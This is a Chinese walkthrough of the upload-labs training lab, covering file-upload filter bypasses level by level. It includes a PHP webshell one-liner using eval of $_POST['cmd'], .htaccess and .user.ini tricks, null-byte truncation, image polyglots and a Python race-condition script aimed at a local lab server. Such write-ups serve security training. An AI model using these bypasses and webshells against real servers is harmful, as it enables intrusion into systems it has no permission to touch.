upload-labs通关记录

Posted imbrave99

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了upload-labs通关记录相关的知识,希望对你有一定的参考价值。

upload-labs通关记录

一句话木马解读

技术图片

一般的解题步骤

技术图片

技术图片

或者可以直接用字典爆破一下
https://github.com/TheKingOfDuck/fuzzDicts/blob/master/uploadFileExtDicts/all_upload_fuzz.txt是否上传成功观察:把返回的路径加文件名直接访问http码返回为200代码上传成功
用菜刀或者蚁剑连接拿到flag 菜刀连接成功率会高一点
http状态码:https://www.cnblogs.com/cjwxf/p/6186287.html
php靶机系统文件下载:*https://github.com/Tj1ngwe1/upload-labs*

upload-labs

pass-01

考点:前端js的饶过-简单

三种方式:1.使用火狐插件NoScript来禁用js代码
2.直接将js代码删除
3.上传正常格式文件通过bp抓包修改filename为脚本格式(推荐)
技术图片
使用菜刀连接,蚁剑连不上见鬼

pass-02

考点:后端验证基于MIME-简单

两种方式:1.上传脚本格式文件,bp修改文件的content-type
2.上传指定格式文件,bp修改文件filename为脚本格式
技术图片

pass-03

考点:后端黑名单校验-简单

黑名单不全,可以使用大小写、‘.’号(如:1.php.)、特殊字符(如:1.php::$DATA)、Apache文件后缀解析(1.php.xxx为1.php)等方式绕过,但查看源码后,发现都给过滤掉了。
技术图片
strrchr(string,char)
函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符 所以点号饶过就行不通了
str_ireplace("WORLD","Shanghai","Hello world!")
不区分大小写把hello world里的 world替换成shanghai

解法:这题就要使用一些特殊的后缀

php:php3、php4、php5、php7、phtml
jsp:jspx、jspf
asp:asa、cer
使用特殊后缀之后,发现还是不行,返回结果为空,测试也读不出来。是由于环境是phpstudy搭建的,里面把后缀给限制了,所以改一下httpd.conf文件里的
AddType application/x-httpd-php .php .phtml为AddType application/x-httpd-php .php .phtml .php3 .php4 记得去掉#号。
技术图片
技术图片

pass-04

考点:黑名单验证.htacess的使用-简单

查看源码发现这题几乎过滤了所有可以用的后缀名饶过
技术图片.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。 概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:
网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
根据以上内容,假如我们自定义一个规则,并让服务器运行我们定义的规则,便可绕过上传限制

hatccess写法一
AddType application/x-httpd-php .后缀名

创建相同后缀名的一句话木马,作用就是会让这个后缀名变成php代码执行

hatccess写法二
# FileMatch 参数即为文件名的正则匹配
<FilesMatch "xxxx">
  SetHandler application/x-httpd-php
</FilesMatch>

解法:上传.hatccess文件里指定的后缀名就可以getwebshell

apache服务器扩展1:多后缀解析漏洞

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
如1.php.abc,因apache2不识别.abc后缀,所以向前解析php

扩展2:CVE-2017-15715

利用在上传文件时,文件名之后添加一个x0a来绕过黑名单上传的限制

pass-05

考点:黑名单验证,.user.ini-简单

这题.htaccess也被过滤了。

解法:.user.ini这个文件,常见与nginx服务器中

.user.ini

当使用CGI/FastCGI 来解析php时,php会优先搜索目录下所有的.ini文件,并应用其中的配置。类似于apache的.htaccess,但语法与.htacces不同,语法与php.ini一致。因nginx实际上只是起到转发的作用,实际解析一般为php-fpm或fastcgi来解析,所以在.user.ini中写如auto_prepend_file=test.jpg,之后上传.user.ini与test.jpg,过一段时间等待.user.ini被加载后,会导致每个php文件解析之前先将test.jpg当作php解析。

.user.ini的写法
auto_prepend_file=test.指定后缀

nginx扩展1:CVE-2013-4547

即上传一个1.gif,然后访问1.gif[0x20][0x00].php([0x20][0x00]为空格和不需要url编码),1.gif会被当作php解析

扩展2:php-cgi漏洞

在php配置文件中,开启了cgi.fix_pathinfo,导致图片马1.jpg可以通过访问1.jpg/.php解析成php
根据提示
技术图片
技术图片
可连接上

pass-06

考点:黑名单验证,大小写绕过

这题把.ini也给过滤了所以第五关的方式用不了

解法:使用后缀名大小写饶过因为这里没有使用转成小写(strtolower())那个函数

pass-07

考点:黑名单验证,空格绕过

解法:去除了对文件后缀名的空格过滤(trim()),选择后缀为.php的一句话上传,抓包后在前面增加空格,成功绕过。

pass-08

考点:黑名单验证,点号绕过

解法:再后缀名后面加两个点号,有时也加一个看情况。

这题没有

deldot($file_name);//删除文件名末尾的点

原理:window特性,会自动去掉后缀的“.”,编程.php文件

技术图片

pass-09

考点:黑名单验证,特殊字符::$DATA绕过

解法:在后缀名后加上::$DATA,访问时候去掉。

原理:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名

这题没有

str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA

技术图片

pass-10

考点:黑名单

查看源码发现保存路径的时间用的文件本身名字

技术图片

解法:选择后缀为.php的一句话上传,抓包后构造文件后缀为php. .

技术图片

最终被解析为1.php.

pass-11

考点:黑名单验证,双写饶过

技术图片

解法:上传后缀为pphphp的一句话

因为这边只替换黑名单中的php一次,这样p php hp这样就把中间的php给替换了,剩下的还是php从而饶过
技术图片

pass-12

考点:白名单验证,0x00截断

原理:查看源码和提示,上传路径可控,并且是最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。原理是:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

解法:修改一句话的后缀名为.jpg后上传,抓包后修改URL,成功上传

技术图片

pass-13

考点:白名单验证,0x00截断

解法:原理同Pass-12,只不过save_path是通过post传进来的,需要在Hex里修改

技术图片
技术图片
+的URL编码的16进制 为2b,将2b改为00即可

pass-14

考点:服务端文件头检查,图片马

三种常见图片开头名
JPG:FFD8FFEO00104A464946
GIF: 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47
两种方式:1.找到正常格式的图片尽量找小的,制作图片马,或直接用记事本图片最后加上一句话
2.使用一句话木马,在文件内容之前加上文件头也可,但要更改文件至相应格式。

图片马制作方法,2.jpg就是图片马

copy 1.jpg/png/gif/b + 1.php 新文件名

解法传图片马用文件包含验证

技术图片

pass-15

考点:getimagesize()函数突破

getimagesize(string $filename [,array &$imageinfo])//获取图像信息,返回一个数组
/*
返回的数组中,索引0:图像宽度像素值
			 索引1:图像高度像素值
			 索引2:图像类型,1=GIF,2=JPG,3=PNG,4=SWF,5=PSD,6=BMP,7=TIFF_II,8=TIFF_MM,9=JPC,10=JP2,11=JPX,12=JB2,13=SWC,14=IFF,15=WBMP,16=XBM,17=ICO,18=COUNT
			 索引3:图像宽度和高度的字符串
			 索引bits:图像的每种颜色的位数,二进制格式
			 索引channels:图像的通道值
			 索引mime:图像的MIME信息
*/
image_type_to_extension(int $imagetype [,bool $include_dot = TRUE])//获取图像类型的文件扩展名
/*
include_dot是否在扩展名前加点。默认为TRUE
*/

解法:与上一题解题思路一致,修改文件头绕过,但是本题的验证不只是文件头的前两位。

pass-16

考点:exif_imagetype()函数突破

此函数需要开启php_exif模块

exif_imagetype(string $filename)//读取一个图像的第一个字节并检查其签名

解法:同上

pass-17

考点:二次渲染

验证过程:判断后缀与MIME类型是否符合要求,符合后生成新图像(内容不正确会失败,返回false,相当于多了一次验证),生成新图像失败就unlink删除,成功就根据系统时间给文件命名,再通过imagejpeg类似函数使用原图像资源创建新图像(二次渲染)。相关函数说明:

basename(string $path [,string $suffix]) //返回路径中的文件名部分
imagecreatefromjpeg(string $filename)
imagecreatefrompng(string $filename) 
imagecreatefromgif(string $filename) //由文件或URL创建一个新图像,内容不对则失败返回false,成功后返回图像资源
srand([int $seed ]) //用seed播下随机数发生器种子
strval(mixed $var) //返回字符串类型的var
imagejpeg(resource $image [,string $filename [,int $quality]])//从image图像以filename为文件名创建一个JPEG图像
imagepng(resource $image [,string $filename]) //从 image 图像以filename为文件名创建一个PNG图像或文件
imagegif(resource $image [,string $filename]) //从 image 图像以filename为文件名创建一个GIF图像或文件

解法:用winhex找到二次渲染后没有改变的地方加上一句话即可

传送门:https://xz.aliyun.com/t/2657#toc-2

pass-18

考点:白名单验证,条件竞争

验证过程:服务器先将上传的文件保存在临时目录中,然后再对后缀名进行白名单验证,并重命名,

rename(string $oldname,string $newname [,resource $context])//把oldname重命名为newname 

解法:用burp一直发包,让php程序一直处于移动php文件到上传目录这个阶段代码

执行逻辑:先移动,后检测,不符合再删除,符合则改名字
写一个php
不断上传文件,在文件还没被删除前去读取文件,则还没被删除前去读取文件,解析之后会写入一个内容为``的shell.php文件
注:"pass"一定要双引号,不然单引号之间乱了。

<?PHP echo md5(1);fputs(fopen(‘shell.php‘,‘w‘),‘<?php @eval($_POST["cmd"])?>‘);?>

出现ok代表成功上传了

import requests
def main():
    i=0
    while 1:
        try:
            print(i,end=‘
‘)
            a = requests.get("http://127.0.0.1/upload-labs-master/upload/18pass.php")
            if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
                print("OK")
                break
        except Exception as e:
            pass
        i+=1
if __name__ == ‘__main__‘:
    main()

pass-19

考点:和18一样的

解法:不要上传php就行

pass-20

考点:黑名单验证,点号绕过

解法:在上传的文件名后加上/.

同样是上传路径可控,可以使用和Pass-13同样的方式绕过。不同的是这里的黑名单,可以文件名称保存的时候,加上.,最末的.号使得pathinfo()获取到的PATHINFO_EXTENSION为空,从而绕过黑名单。

pathinfo(string $path [,int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME]) 
/*
返回一个关联数组包含有path的信息。返回关联数组还是字符串取决于options
PATHINFO_DIRNAME:文件所在目录
PATHINFO_BASENAME:文件+后缀名
PATHINFO_EXTENSION:后缀名
PATHINFO_FILENAME:文件名
*/

技术图片

技术图片

pass-21

考点:白名单验证,数组绕过

解法:三层饶过

绕过MIMIE,改一下包的Content-Type,为了绕过explode()函数,需要传入数组,绕过白名单,由于取的是end()也就是数组最后一个,需要传入数组的最后一个为jpg|png|gif,最后是拼接文件名,取的是reset()第一个,即索引为0,和索引count()-1(数组内元素个数-1)。所以令索引0为1.php,索引2为jpg(只要是索引1之后都可),这样数组元素个数为2,拼接的就是索引0和索引1,也就是1.php和空,结果还是1.php,这样就可以使得拼接后的文件名为1.php

explode(string $delimiter , string $string [, int $limit])//返回由字符串组成的数组,每个元素都是string的一个子串,它们被字符串delimiter作为边界点分割出来 
reset(array &$array)//将数组的内部指针指向第一个单元
$_FILES[‘file‘][‘name‘] //客户端上传的文件原名称,含扩展名
$_FILES[‘file‘][‘type‘] //上传的文件类型
$_FILES[‘file‘][‘tmp_name‘] //文件上传后,在服务器端存储的临时文件名
stripos(string $haystack,string $needle [,int $offset = 0])// 查找字符串首次出现的位置(不区分大小写)
strrpos(string $haystack,string $needle [,int $offset = 0])//计算指定字符串在目标字符串中最后一次出现的位置
move_uploaded_file(string $filename,string $destination) //文件上传后先存储于服务器的临时目录中,使用该函数移动文件位置
substr(string $string,int $start [,int $length]) //返回字符串string中从位置start处后的长度为length部分
strrchr(string $haystack,mixed $needle) //返回haystack字符串中的一部分,这部分以needle的最后出现位置开始,直到haystack末尾
in_array(mixed $needle,array $haystack[,bool $strict = FALSE])//在数组haystack中搜索是否存在值needle,strict若设置TRUE,则类型也会匹配

技术图片









































以上是关于upload-labs通关记录的主要内容,如果未能解决你的问题,请参考以下文章

Upload-labs通关

个人 upload-labs 通关总结持续更新中

Upload-Labs靶场 1-21全通关教程

upload-labs-21关通关笔记

upload-labs通关(Pass-06~Pass-10)

upload-labs(12-21)通关教程